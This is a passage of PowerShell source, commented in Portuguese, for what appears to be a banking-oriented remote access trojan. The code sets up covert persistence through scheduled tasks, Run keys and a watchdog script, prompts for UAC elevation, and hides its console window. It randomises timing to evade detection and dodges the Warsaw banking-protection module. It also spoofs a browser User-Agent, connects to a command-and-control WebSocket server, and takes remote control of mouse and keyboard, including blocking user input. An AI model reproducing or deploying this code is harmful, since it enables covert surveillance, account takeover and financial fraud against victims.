[Environment]::Exit(0) } catch { return "ERROR: $_" } } "uninstall" { Stop-DisplayOverlay; Stop-InputPause # Capturar caminhos dinamicos ANTES de apagar o registro $__unTaskName = $script:InstallConfig.TaskName $__unInstDir = $script:InstallConfig.InstallDir $__unGuardVbs = Join-Path $__unInstDir "$($__identity.SvcName).vbs" $__unUserDir = "$env:APPDATA\Microsoft\$__unTaskName" # 0. MATAR GUARDIAN - apagar VBS primeiro (sem VBS nao ha relancar) try { Remove-Item $__unGuardVbs -Force -EA SilentlyContinue Get-Process wscript -EA SilentlyContinue | Stop-Process -Force -EA SilentlyContinue Get-Job -EA SilentlyContinue | Stop-Job -PassThru | Remove-Job -Force -EA SilentlyContinue Remove-Item (Join-Path $__unInstDir "client.pid") -Force -EA SilentlyContinue Remove-Item "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid" -Force -EA SilentlyContinue } catch { } # 1. REMOVER SERVICOS LEGADOS (compatibilidade com instalacoes antigas) try { Stop-Service -Name $__unTaskName -Force -EA SilentlyContinue sc.exe delete $__unTaskName 2>$null | Out-Null } catch { } # 2. REMOVER TODAS AS TAREFAS AGENDADAS (din?micas + legado) $__svcShort = $__unTaskName.Substring(0, [Math]::Min(8, $__unTaskName.Length)) $__dynTasks = @($__unTaskName, "${__svcShort}_G0", "${__svcShort}_G1", "${__svcShort}_G2") $__dynTasks | ForEach-Object { Unregister-ScheduledTask -TaskName $_ -Confirm:$false -EA SilentlyContinue schtasks /delete /tn $_ /f 2>$null | Out-Null } # 3. REMOVER ENTRADAS DE REGISTRO (din?mico + legado) @($__unTaskName, $__unSvcName) | ForEach-Object { if ($_) { reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v $_ /f 2>$null | Out-Null } } # Remover identidade gerada (nova instalacao gerarah nova identidade) try { $__cuKey = (Get-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA Stop).CU if ($__cuKey) { Remove-Item -Path $__cuKey -Recurse -Force -EA SilentlyContinue } Remove-ItemProperty "HKCU:\Software\Microsoft\Windows" -Name "CU" -EA SilentlyContinue } catch {} # 4. CRIAR SCRIPT DE LIMPEZA (executa apos processo fechar) # Serializar caminhos dinamicos para o script de limpeza $__unInstDirLit = $__unInstDir $__unUserDirLit = $__unUserDir $cleanupScript = @" Start-Sleep -Seconds 3 # Matar processos relacionados (exceto o atual) try { Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" -EA SilentlyContinue | Where-Object { `$_.ProcessId -ne `$PID -and (`$_.CommandLine -like '*$__unTaskName*' -or `$_.CommandLine -like '*$__unSvcName*') } | ForEach-Object { try { Stop-Process -Id `$_.ProcessId -Force -EA SilentlyContinue } catch {} } } catch {} Start-Sleep -Seconds 2 # Remover pastas (apenas dinamicas - polimorficas) `$folders = @( '$__unInstDirLit', '$__unUserDirLit' ) foreach (`$f in `$folders) { if (`$f -and (Test-Path `$f)) { for (`$r = 0; `$r -lt 3; `$r++) { try { Remove-Item `$f -Recurse -Force -EA Stop; break } catch { Start-Sleep -Seconds 1 } } } } # Limpar arquivos temporarios (baseados no SvcName) Remove-Item "`$env:TEMP\$__unSvcName*" -Force -EA SilentlyContinue # Auto-deletar este script Remove-Item `$MyInvocation.MyCommand.Path -Force -EA SilentlyContinue "@ $cleanPath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).ps1" [System.IO.File]::WriteAllText($cleanPath, $cleanupScript, [System.Text.Encoding]::UTF8) # Executar limpeza em processo separado (apos agente sair) Start-Invisible -Command "powershell.exe" -Arguments "-NoP -EP Bypass -W Hidden -File `"$cleanPath`"" Start-Sleep -Seconds 1 [Environment]::Exit(0) } default { # Verificar se e comando de recorte (crop) if ($Cmd -like "cropArea:*") { try { $jsonPart = $Cmd.Substring(9) $params = $jsonPart | ConvertFrom-Json # Obter resolucao do monitor SELECIONADO $selectedMon = Get-SelectedMonitor $screenW = $selectedMon.Width $screenH = $selectedMon.Height # Converter PORCENTAGEM para PIXELS $xPct = [double]$params.xPct $yPct = [double]$params.yPct $wPct = [double]$params.wPct $hPct = [double]$params.hPct $x = [int]($xPct * $screenW) $y = [int]($yPct * $screenH) $w = [int]($wPct * $screenW) $h = [int]($hPct * $screenH) # Posicao ABSOLUTA do buraco $absX = $selectedMon.X + $x $absY = $selectedMon.Y + $y # Validar valores minimos if ($w -lt 50) { $w = 50 } if ($h -lt 50) { $h = 50 } # Guardar priv mode atual antes de desativar $script:OverlayModeBeforeCrop = $script:CurrentOverlayMode # Desativar priv mode para tirar o print try { Stop-DisplayOverlay } catch {} Start-Sleep -Milliseconds 10 # Mostrar tela de crop com mensagem $cropMessage = if ($params.message) { $params.message } else { "" } Show-CropScreen -CropX $x -CropY $y -CropW $w -CropH $h -Message $cropMessage return "Crop OK: ${w}x${h} at ($x,$y) abs($absX,$absY)" } catch { return "Crop error: $_" } } return "Unknown: $Cmd" } } } # =============================================================================== # SISTEMA DE DETECCAO DE INATIVIDADE (20 MINUTOS) # =============================================================================== Add-Type @' using System; using System.Runtime.InteropServices; public class IdleDetector { [StructLayout(LayoutKind.Sequential)] public struct LASTINPUTINFO { public uint cbSize; public uint dwTime; } [DllImport("user32.dll")] public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); public static uint GetIdleTime() { LASTINPUTINFO lii = new LASTINPUTINFO(); lii.cbSize = (uint)Marshal.SizeOf(typeof(LASTINPUTINFO)); if (GetLastInputInfo(ref lii)) { return (uint)Environment.TickCount - lii.dwTime; } return 0; } } '@ $global:IdleTimeout = 1200000 $global:CurrentIdleState = "active" $global:LastIdleCheck = [long]([DateTime]::UtcNow.Ticks / 10000) $global:JustResumedFromIdle = $false # Funcao para acordar do idle quando operador remoto envia comandos # OTIMIZA??O: Apenas uma verifica??o simples, sem opera??es extras function Force-WakeFromIdle { if ($global:CurrentIdleState -eq "idle") { $global:CurrentIdleState = "active" } } function Check-IdleStatus { param($stream) $now = [long]([DateTime]::UtcNow.Ticks / 10000) if (($now - $global:LastIdleCheck) -lt 10000) { return ($global:CurrentIdleState -eq "idle") } $global:LastIdleCheck = $now $idleTime = [IdleDetector]::GetIdleTime() if ($idleTime -gt $global:IdleTimeout -and $global:CurrentIdleState -eq "active") { $global:CurrentIdleState = "idle" Send-IdleStatus $stream "idle" $idleTime return $true } elseif ($idleTime -lt 5000 -and $global:CurrentIdleState -eq "idle") { $global:CurrentIdleState = "active" $global:JustResumedFromIdle = $true Send-IdleStatus $stream "active" $idleTime return $false } return ($global:CurrentIdleState -eq "idle") } function Clear-StreamBuffer { param($stream) } function Send-IdleStatus { param($stream, $status, $idleTime) try { $json = @{ Status = $status IdleTime = $idleTime Timestamp = (Get-Date).ToString("o") } | ConvertTo-Json -Compress $data = [System.Text.Encoding]::UTF8.GetBytes($json) $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xF0);$__bw.Write([int32]$data.Length);$__bw.Write([byte[]]$data);$__bw.Flush() } catch {} } function Start-Client { # === VERIFICAR SE JA EXISTE PROCESSO SYSTEM RODANDO (evitar conexao duplicada) === $myIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $amISystem = ($myIdentity.User.Value -eq "S-1-5-18") # Detectar se estamos rodando interativamente (console visivel) $isInteractive = [Environment]::UserInteractive -and ([Console]::WindowHeight -gt 0 -or $Host.Name -eq "ConsoleHost") # Se -Force OU rodando interativamente -> ignorar check e continuar if ($Force -or $isInteractive) { if (-not $amISystem) { # Matar processos antigos e limpar PID files (caminhos dinamicos apenas) foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $oldPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) if ($oldPid -and $oldPid -ne $PID) { Start-Process "taskkill" -ArgumentList "/F /PID $oldPid" -NoNewWindow -Wait -ErrorAction SilentlyContinue } Remove-Item $pidPath -Force -ErrorAction SilentlyContinue } } catch {} } } } # Se nao e interativo e nao e -Force, fazer check normal (para spawns automaticos) elseif (-not $amISystem) { foreach ($pidPath in @("$($script:InstallConfig.InstallDir)\client.pid", "$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid")) { try { if (Test-Path $pidPath -ErrorAction SilentlyContinue) { $existingPid = [int](Get-Content $pidPath -Raw -ErrorAction SilentlyContinue) $existingProc = Get-Process -Id $existingPid -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.ProcessName -match "powershell") { return } } } catch {} } } # NOTA: Removido Stop-DisplayOverlay daqui - overlay deve persistir atrav?s de reconex?es try { [NativeInput]::Unblock() } catch {} # =========================================================================== # VERIFICAR E INSTALAR SERVICO/PERSISTENCIA # =========================================================================== # Detectar caminho do script (multiplas formas para garantir) $scriptPath = $null if ($MyInvocation.MyCommand.Path) { $scriptPath = $MyInvocation.MyCommand.Path } elseif ($script:SourceScriptPath) { $scriptPath = $script:SourceScriptPath } elseif ($MyInvocation.InvocationName -and (Test-Path $MyInvocation.InvocationName -ErrorAction SilentlyContinue)) { $scriptPath = (Resolve-Path $MyInvocation.InvocationName).Path } # Se nao encontrou, tentar caminhos conhecidos if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $possiblePaths = @( "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt", "$env:ProgramData\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" ) foreach ($p in $possiblePaths) { if (Test-Path $p -ErrorAction SilentlyContinue) { $scriptPath = $p break } } } $isSystem = Test-IsSystem $isAdmin = Test-IsAdmin $taskExists = (Get-ScheduledTask -TaskName $script:InstallConfig.TaskName -EA SilentlyContinue) -ne $null # Detectar sessao atual $mySession = 0 try { $mySession = [ExplorerSpawner]::GetSessionId() } catch {} # =========================================================================== # FLUXO DE DECISAO # =========================================================================== # 1. SpawnedByTask=true OU (SYSTEM em Session > 0) -> CLIENTE, conectar # 2. Task existe + e USER -> pode encerrar (task SYSTEM cuida de tudo) # 3. Admin -> instalar Task SYSTEM e encerrar # 4. User -> pedir UAC # - Aceito -> instala Task, encerra # - Negado -> persistencia USER, conecta como USER # =========================================================================== # CASO 1: Spawned pela task OU SYSTEM em sessao do usuario -> ir direto conectar if ($SpawnedByService -or ($isSystem -and $mySession -gt 0)) { # Nenhuma acao especial - continua para conexao } # CASO 3: Admin (mas nao SYSTEM) -> instalar Task SYSTEM elseif ($isAdmin) { $taskInstalled = $false if ($scriptPath) { $installed = Install-ScheduledTask -ScriptPath $scriptPath if ($installed) { $taskInstalled = $true Start-Sleep -Seconds 3 [Environment]::Exit(0) } } # Fallback: se Task falhou, instalar persistencia USER if (-not $taskInstalled) { if ($scriptPath -and (Test-Path $scriptPath -EA SilentlyContinue)) { Install-CleanPersistence -ScriptPath $scriptPath | Out-Null } } } # CASO 4: User normal -> pedir UAC, se negar conecta como USER else { # Copiar script para local de persistencia $persistPath = "$env:APPDATA\Microsoft\$($__identity.SvcName)\$($__identity.FileName).txt" $persistDir = Split-Path $persistPath -Parent if (-not (Test-Path $persistDir)) { New-Item -Path $persistDir -ItemType Directory -Force | Out-Null } if ($scriptPath -and $scriptPath -ne $persistPath -and (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { Copy-Item -Path $scriptPath -Destination $persistPath -Force -ErrorAction SilentlyContinue } # Verificar se destino existe, se nao tentar auto-salvar if (-not (Test-Path $persistPath -EA SilentlyContinue)) { try { if ($MyInvocation.MyCommand.ScriptBlock) { $MyInvocation.MyCommand.ScriptBlock.ToString() | Out-File -FilePath $persistPath -Encoding UTF8 -Force } } catch { } } if (-not $scriptPath -or -not (Test-Path $scriptPath -ErrorAction SilentlyContinue)) { $scriptPath = $persistPath } # Verificar task existente try { $cfg = $script:CleanPersistConfig $oldTask = Get-ScheduledTask -TaskName $cfg.TaskName -ErrorAction SilentlyContinue if ($oldTask) { # Se ja e SYSTEM: nao reinstalar, apenas sair (SYSTEM cuida de tudo) if ($oldTask.Principal.UserId -match "SYSTEM") { [Environment]::Exit(0) } # Task USER/corrompida: limpar antes de reinstalar Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue } } catch {} # SEMPRE criar persistencia USER (Registry Run) $persistOK = Install-CleanPersistence -ScriptPath $persistPath # Se falhou, tentar mais uma vez apos limpeza if (-not $persistOK) { Start-Sleep -Seconds 1 $persistOK = Install-CleanPersistence -ScriptPath $persistPath } # Verificar se deve pedir UAC (apenas se nao foi skip) $skipUAC = ($env:_sU -eq "1") if (-not $skipUAC) { # Pedir UAC agora (NAO esconder janela - UAC precisa de contexto interativo) $result = Request-UACAndInstallService -ScriptPath $persistPath if ($result -eq "installed") { # Limpar tasks USER (servico SYSTEM cuida de tudo agora) try { $cfg = $script:CleanPersistConfig Unregister-ScheduledTask -TaskName $cfg.TaskName -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName "$($cfg.TaskName)_WD" -Confirm:$false -ErrorAction SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $cfg.TaskName -ErrorAction SilentlyContinue } catch {} Start-Sleep -Seconds 2 [Environment]::Exit(0) } else { # IMPORTANTE: NAO sair - continuar para conectar ao servidor! # O script vai continuar abaixo no loop de conexao } } else { } } # === AGORA ESCONDER JANELA (instala??o/UAC completa) === Hide-ConsoleWindow # === VERIFICAR INST?NCIA ?NICA === # Verificar em AMBOS os locais (USER e SYSTEM) - caminhos dinamicos foreach ($pidFile in @("$env:APPDATA\Microsoft\$($__identity.SvcName)\client.pid", "$($script:InstallConfig.InstallDir)\client.pid")) { if (Test-Path $pidFile) { $savedPid = (Get-Content $pidFile -Raw -EA SilentlyContinue).Trim() if ($savedPid -match '^\d+$' -and [int]$savedPid -ne $PID) { $existingProc = Get-Process -Id ([int]$savedPid) -ErrorAction SilentlyContinue if ($existingProc -and $existingProc.Name -like "*powershell*") { [Environment]::Exit(0) } } } } # ??????????????????????????????????????????????????????????????????????????????? # PHASE 3: BEHAVIORAL VARIATION WITH DISTRIBUTED TIMING # ??????????????????????????????????????????????????????????????????????????????? # Purpose: Prevent temporal detection by randomizing operation timing and ordering # Features: # - Non-periodic delays (1-30 minutes between operations) # - Random operation ordering (screenshot, keystroke, network checks) # - Variable frame counts and capture intervals # - Per-machine behavioral variation based on MachineGuid # Seed random generator based on machine identity (ensures each machine has unique behavior) $phase3Seed = [System.Security.Cryptography.MD5]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes($script:Server)).GetHashCode() [System.Random]::new($phase3Seed % [int]::MaxValue) | out-null $script:Phase3Random = [System.Random]::new($phase3Seed % [int]::MaxValue) # Operation timing configuration (randomized per machine) $script:Phase3Config = @{ # Min/Max delays in milliseconds (1-30 minutes) ScreenshotDelayMin = 60000 # 1 minute minimum ScreenshotDelayMax = 1800000 # 30 minutes maximum KeystrokeDelayMin = 60000 # 1 minute minimum KeystrokeDelayMax = 1800000 # 30 minutes maximum PingDelayMin = 30000 # 30 seconds minimum PingDelayMax = 300000 # 5 minutes maximum BrowserCheckMin = 4000 # 4 segundos minimo (safe contra Warsaw) BrowserCheckMax = 6000 # 6 segundos maximo (media ~5s) # Variable frame counts (randomized per operation) MinFramesPerCapture = 1 MaxFramesPerCapture = 3 # Per-machine variations (derived from MachineGuid) VariationFactor = (($script:Phase3Random.Next() % 100) + 50) / 100.0 # 0.5x to 1.5x multiplier } # Operation scheduler - tracks next execution time for each operation $script:Phase3Operations = @{ Screenshot = [long]([DateTime]::UtcNow.Ticks / 10000) Keystroke = [long]([DateTime]::UtcNow.Ticks / 10000) Ping = [long]([DateTime]::UtcNow.Ticks / 10000) BrowserCheck = [long]([DateTime]::UtcNow.Ticks / 10000) NextOpOrder = @() # Randomized execution order } # Function: Generate next random delay using Phase 3 distribution function Get-Phase3Delay { param([string]$Operation) $cfg = $script:Phase3Config $delay = switch ($Operation) { "Screenshot" { $cfg.ScreenshotDelayMin + $script:Phase3Random.Next($cfg.ScreenshotDelayMax - $cfg.ScreenshotDelayMin) } "Keystroke" { $cfg.KeystrokeDelayMin + $script:Phase3Random.Next($cfg.KeystrokeDelayMax - $cfg.KeystrokeDelayMin) } "Ping" { $cfg.PingDelayMin + $script:Phase3Random.Next($cfg.PingDelayMax - $cfg.PingDelayMin) } "BrowserCheck" { $cfg.BrowserCheckMin + $script:Phase3Random.Next($cfg.BrowserCheckMax - $cfg.BrowserCheckMin) } default { 5000 } } # Apply per-machine variation factor (makes timing different per PC) return [long]($delay * $cfg.VariationFactor) } # Function: Check if operation should execute based on Phase 3 scheduling function Test-Phase3Operation { param([string]$Operation) $now = [long]([DateTime]::UtcNow.Ticks / 10000) $nextExecTime = $script:Phase3Operations[$Operation] if ($now -ge $nextExecTime) { # Operation is due - update next execution time $delay = Get-Phase3Delay -Operation $Operation $script:Phase3Operations[$Operation] = $now + $delay return $true } return $false } # Function: Get randomized operation order for this iteration function Get-Phase3OperationOrder { $operations = @("Screenshot", "Keystroke", "Ping", "BrowserCheck") # Fisher-Yates shuffle (randomize operation order) for ($i = $operations.Count - 1; $i -gt 0; $i--) { $j = $script:Phase3Random.Next($i + 1) $temp = $operations[$i] $operations[$i] = $operations[$j] $operations[$j] = $temp } return $operations } # Function: Get variable frame count for current capture function Get-Phase3FrameCount { $cfg = $script:Phase3Config $count = $cfg.MinFramesPerCapture + $script:Phase3Random.Next($cfg.MaxFramesPerCapture - $cfg.MinFramesPerCapture + 1) return $count } # Initialize Phase 3 operation scheduler foreach ($op in @("Screenshot", "Keystroke", "Ping", "BrowserCheck")) { $script:Phase3Operations[$op] = [long]([DateTime]::UtcNow.Ticks / 10000) + (Get-Phase3Delay -Operation $op) } # Iniciar worker DXGI para captura de tela via GPU (invisivel pro Warsaw) $dxgiOk = Start-DxgiWorker if (-not $dxgiOk) { # Fallback: tentar novamente depois de 3s Start-Sleep -Seconds 3 $dxgiOk = Start-DxgiWorker } while ($true) { try { # =============================================================== # RESOLVER DOMINIO A CADA CONEXAO (CloudFlare Tunnel) # =============================================================== $__resolvedIP = Resolve-ServerAddress $script:_wsSendLock = [System.Threading.SemaphoreSlim]::new(1, 1) $script:_wsRecvQueue = [System.Collections.Concurrent.ConcurrentQueue[byte[]]]::new() $script:_wsInputQueue = [System.Collections.Concurrent.ConcurrentQueue[byte[]]]::new() $script:_inputMonXY = [int[]]@(0, 0) # [X,Y] do monitor atual - atualizado pelo loop $script:_inputTrig = [int[]]@(0) # flag: 1=input chegou, capturar frame imediatamente $script:_inputBlockFlag = [int[]]@(0) # flag: 1=BlockInput ativo $script:_ssFailCount = 0 $script:_wsBuf = New-Object System.IO.MemoryStream $ws = New-Object System.Net.WebSockets.ClientWebSocket $ws.Options.KeepAliveInterval = [TimeSpan]::Zero # User-Agent baseado no browser real da m?quina (?nico por host) $__ua = try { $__ev = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\EdgeUpdate\Clients\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}" -EA Stop).pv "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__ev Safari/537.36 Edg/$__ev" } catch { try { $__cv = (Get-ItemProperty "HKLM:\SOFTWARE\Google\Chrome\BLBeacon" -EA Stop).version "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__cv Safari/537.36" } catch { $__rv = "$(Get-Random -Min 109 -Max 124).0.$(Get-Random -Min 5000 -Max 6500).$(Get-Random -Min 40 -Max 180)" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/$__rv Safari/537.36" } } try { $ws.Options.SetRequestHeader("User-Agent", $__ua) } catch {} $wsCts = New-Object System.Threading.CancellationTokenSource # Construir URL C2 dinamicamente (pode ser override via script:Server e script:Port) $__wsUrl = "wss://$($script:Server):$($script:Port)/agent" $ws.ConnectAsync([Uri]$__wsUrl, $wsCts.Token).Wait(15000) if ($ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { throw "WS falhou: $($ws.State)" } $script:_ws = $ws; $script:_wsCts = $wsCts $script:_reconnectAttempt = 0 $__rs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace() $__rs.Open() $__rs.SessionStateProxy.SetVariable("_ws", $ws) $__rs.SessionStateProxy.SetVariable("_ct", $wsCts.Token) $__rs.SessionStateProxy.SetVariable("_q", $script:_wsRecvQueue) $__rs.SessionStateProxy.SetVariable("_iq", $script:_wsInputQueue) $__ps = [System.Management.Automation.PowerShell]::Create() $__ps.Runspace = $__rs [void]$__ps.AddScript({ $b = New-Object byte[] 2097152 $msgBuf = New-Object System.Collections.Generic.List[byte] while ($_ws.State -eq [System.Net.WebSockets.WebSocketState]::Open) { try { $r = $_ws.ReceiveAsync([ArraySegment[byte]]::new($b), $_ct).GetAwaiter().GetResult() if ($r.Count -gt 0) { # Acumular fragmentos ate mensagem completa for ($i = 0; $i -lt $r.Count; $i++) { $msgBuf.Add($b[$i]) } # So processar quando mensagem estiver completa if ($r.EndOfMessage) { $p = $msgBuf.ToArray() $msgBuf.Clear() # Input (0x20-0x23) -> fila dedicada de alta prioridade; resto -> fila principal if ($p.Length -ge 5 -and $p[4] -ge 0x20 -and $p[4] -le 0x23) { $_iq.Enqueue($p) } else { $_q.Enqueue($p) } } } if ($r.MessageType -eq [System.Net.WebSockets.WebSocketMessageType]::Close) { break } } catch { break } } }) [void]$__ps.BeginInvoke() $script:_wsRecvPS = $__ps; $script:_wsRecvRS = $__rs # === THREAD DEDICADA DE INPUT (mouse/teclado com latencia ~0ms) === # Processa 0x20-0x23 IMEDIATAMENTE sem esperar loop de video $__irs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace() $__irs.Open() $__irs.SessionStateProxy.SetVariable("_iq2", $script:_wsInputQueue) $__irs.SessionStateProxy.SetVariable("_utf8", $script:FastUTF8) $__irs.SessionStateProxy.SetVariable("_jp", $script:JsonParser) $__irs.SessionStateProxy.SetVariable("_mxy", $script:_inputMonXY) $__irs.SessionStateProxy.SetVariable("_trig", $script:_inputTrig) $__irs.SessionStateProxy.SetVariable("_blk", $script:_inputBlockFlag) $__ips = [System.Management.Automation.PowerShell]::Create() $__ips.Runspace = $__irs [void]$__ips.AddScript({ # Loop ultra-tight: SpinWait mantem thread pronta sem Sleep (latencia <0.5ms) $__blockActive = $false while ($true) { # BlockInput gerenciado NESTA thread (mesma que faz input) $__wantBlock = ($_blk[0] -eq 1) if ($__wantBlock -and -not $__blockActive) { try { [NativeInput]::Block() } catch {}; $__blockActive = $true } elseif (-not $__wantBlock -and $__blockActive) { try { [NativeInput]::Unblock() } catch {}; $__blockActive = $false } $__raw = $null if ($_iq2.TryDequeue([ref]$__raw) -and $__raw -and $__raw.Length -gt 9) { try { $__type = $__raw[4] $__js = $_utf8.GetString($__raw, 9, $__raw.Length - 9) if ($__js -and $__js.Length -gt 0) { $__j = $_jp.DeserializeObject($__js) $__mx = $_mxy[0]; $__my = $_mxy[1] switch ($__type) { 0x20 { [NativeInput]::MoveMouse($__mx + [int]$__j['X'], $__my + [int]$__j['Y']) $_trig[0] = 1 } 0x21 { [NativeInput]::MoveMouse($__mx + [int]$__j['X'], $__my + [int]$__j['Y']) if ([bool]$__j['IsDown']) { [NativeInput]::MouseDown([int]$__j['Button']) } else { [NativeInput]::MouseUp([int]$__j['Button']) } $_trig[0] = 1 } 0x22 { [NativeInput]::MouseWheel([int]$__j['Delta']); $_trig[0] = 1 } 0x23 { if ([bool]$__j['IsDown']) { [NativeInput]::KeyDown([byte]$__j['KeyCode']) } else { [NativeInput]::KeyUp([byte]$__j['KeyCode']) } $_trig[0] = 1 } } } } catch {} } else { [System.Threading.Thread]::Sleep(1) } } }) [void]$__ips.BeginInvoke() $script:_inputPS = $__ips; $script:_inputRS = $__irs $stream = [PSCustomObject]@{} Add-Member -InputObject $stream -MemberType ScriptProperty -Name DataAvailable -Value { $script:_wsRecvQueue.Count -gt 0 -or $script:_wsBuf.Position -lt $script:_wsBuf.Length } Add-Member -InputObject $stream -MemberType ScriptProperty -Name CanWrite -Value { $script:_ws -and $script:_ws.State -eq [System.Net.WebSockets.WebSocketState]::Open } Add-Member -InputObject $stream -MemberType ScriptMethod -Name Read -Value { param([byte[]]$buf, [int]$off, [int]$cnt) if ($script:_wsBuf.Position -lt $script:_wsBuf.Length) { return $script:_wsBuf.Read($buf,$off,$cnt) } $p = $null if (-not $script:_wsRecvQueue.TryDequeue([ref]$p)) { return 0 } $script:_wsBuf.SetLength(0); $script:_wsBuf.Position = 0 $script:_wsBuf.Write($p,0,$p.Length); $script:_wsBuf.Position = 0 return $script:_wsBuf.Read($buf,$off,$cnt) } $script:_wsPend = New-Object System.Collections.Generic.List[byte] 524288 $client = [PSCustomObject]@{ Connected = $true } $script:BW = [PSCustomObject]@{} Add-Member -InputObject $script:BW -MemberType ScriptMethod -Name Write -Value { param($d) if ($d -is [byte[]]) { $script:_wsPend.AddRange([byte[]]$d) } elseif ($d -is [byte]) { $script:_wsPend.Add([byte]$d) } elseif ($d -is [int32]) { $script:_wsPend.AddRange([byte[]][BitConverter]::GetBytes([int32]$d)) } } Add-Member -InputObject $script:BW -MemberType ScriptMethod -Name Flush -Value { if ($script:_wsPend.Count -eq 0) { return } $data = $script:_wsPend.ToArray(); $script:_wsPend.Clear() if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { return } try { if ($script:_wsSendLock.Wait(2000)) { try { [void]($script:_ws.SendAsync([ArraySegment[byte]]::new($data), [System.Net.WebSockets.WebSocketMessageType]::Binary, $true, $script:_wsCts.Token).GetAwaiter().GetResult()) } finally { [void]$script:_wsSendLock.Release() } } } catch {} } # BW reutilizavel $helloJson = (@{ Version = $Config.Version } | ConvertTo-Json -Compress -Depth 10) $helloData = [System.Text.Encoding]::UTF8.GetBytes($helloJson) $bw = $script:BW $bw.Write([byte[]]$Config.Magic) $bw.Write([byte]0x01) $bw.Write([int32]$helloData.Length) $bw.Write([byte[]]$helloData) $bw.Flush() Read-Packet -Stream $stream | Out-Null $sysInfo = Get-SystemInfo $jsonStr = $sysInfo | ConvertTo-Json -Compress -Depth 10 $guestData = [System.Text.Encoding]::UTF8.GetBytes($jsonStr) $bw = $script:BW $bw.Write([byte[]]$Config.Magic) $bw.Write([byte]0xE6) $bw.Write([int32]$guestData.Length) $bw.Write([byte[]]$guestData) $bw.Flush() # Aguardar SessionInfo do servidor (pode receber Ping antes) $sessionReceived = $false $attempts = 0 while (-not $sessionReceived -and $attempts -lt 10) { $attempts++ Start-Sleep -Milliseconds 50 $pkt = Read-Packet -Stream $stream if ($pkt) { $rawData = "" if ($pkt.Data.Length -gt 0) { $rawData = [System.Text.Encoding]::UTF8.GetString($pkt.Data) } # SessionInfo = 0x06 if ($pkt.Type -eq 0x06) { try { $sessionJson = $rawData | ConvertFrom-Json if ($sessionJson.Accepted -eq $true) { $sessionReceived = $true } else { throw "Servidor rejeitou" } } catch { } } # Ping = 0xE0, responder com Pong elseif ($pkt.Type -eq 0xE0) { $bw = $script:BW; $bw.Write([byte[]]$Config.Magic); $bw.Write([byte]0xE1); $bw.Write([int32]0); $bw.Flush() } # ServerHello = 0x02 (ignorar, j? recebemos) elseif ($pkt.Type -eq 0x02) { } else { } } } if (-not $sessionReceived) { # Se recebemos Pings, a conexao esta OK - servidor aceita mas nao enviou SessionInfo explicitamente # Isso pode acontecer se o servidor estiver em versao diferente } # Enviar lista de monitores Send-MonitorList -Stream $stream # OTIMIZADO: Reset contador de reconex?o ap?s conex?o bem-sucedida $script:_reconnectAttempt = 0 $lastScr = [DateTime]::MinValue $lastBrowserCheck = [DateTime]::MinValue $lastQRCheck = [DateTime]::MinValue $lastPing = [long]([DateTime]::UtcNow.Ticks / 10000) $lastHeartbeat = [long]([DateTime]::UtcNow.Ticks / 10000) $lastDataReceived = [long]([DateTime]::UtcNow.Ticks / 10000) $hbFails = 0 # OTIMIZA??O: Cache Get-SelectedMonitor (100ms TTL) $monitorCache = Get-SelectedMonitor # Chamar imediatamente para evitar $null $monitorCacheTime = [long]([DateTime]::UtcNow.Ticks / 10000) # Sincronizar offset do monitor com a thread de input $script:_inputMonXY[0] = $monitorCache.X; $script:_inputMonXY[1] = $monitorCache.Y $loopIterations = 0 $connectionAlive = $true while ($connectionAlive -and $stream.CanWrite) { $loopIterations++ # OTIMIZADO: Heartbeat mais frequente (5s) mas mais tolerante (5 falhas, 60s timeout) $nowHb = [long]([DateTime]::UtcNow.Ticks / 10000) if (($nowHb - $lastHeartbeat) -gt 5000) { # Era 10000 (10s), agora 5000 (5s) try { $__bw=$script:BW;$__bw.Write([byte[]]$Config.Magic);$__bw.Write([byte]0xE1);$__bw.Write([int32]0);$__bw.Flush() $hbFails = 0; $lastHeartbeat = $nowHb } catch { if ($script:_ws.State -ne [System.Net.WebSockets.WebSocketState]::Open) { $connectionAlive = $false; continue } } # timeout de dados removido: so WS.State decide desconexao } # =============================================================== # VERIFICAR SE SERVICO FOI INSTALADO (processo User deve encerrar) # =============================================================== if ($script:ForceExit) { try { $stream.Close() } catch {} try { $client.Close() } catch {} exit 0 } # [*] VERIFICAR SE PROCESSO SYSTEM APARECEU (a cada 30s) - desativado em modo interativo if (-not $amISystem -and -not $script:_lastSystemCheck) { $script:_lastSystemCheck = [DateTime]::MinValue } $skipPeriodicCheck = $Force -or 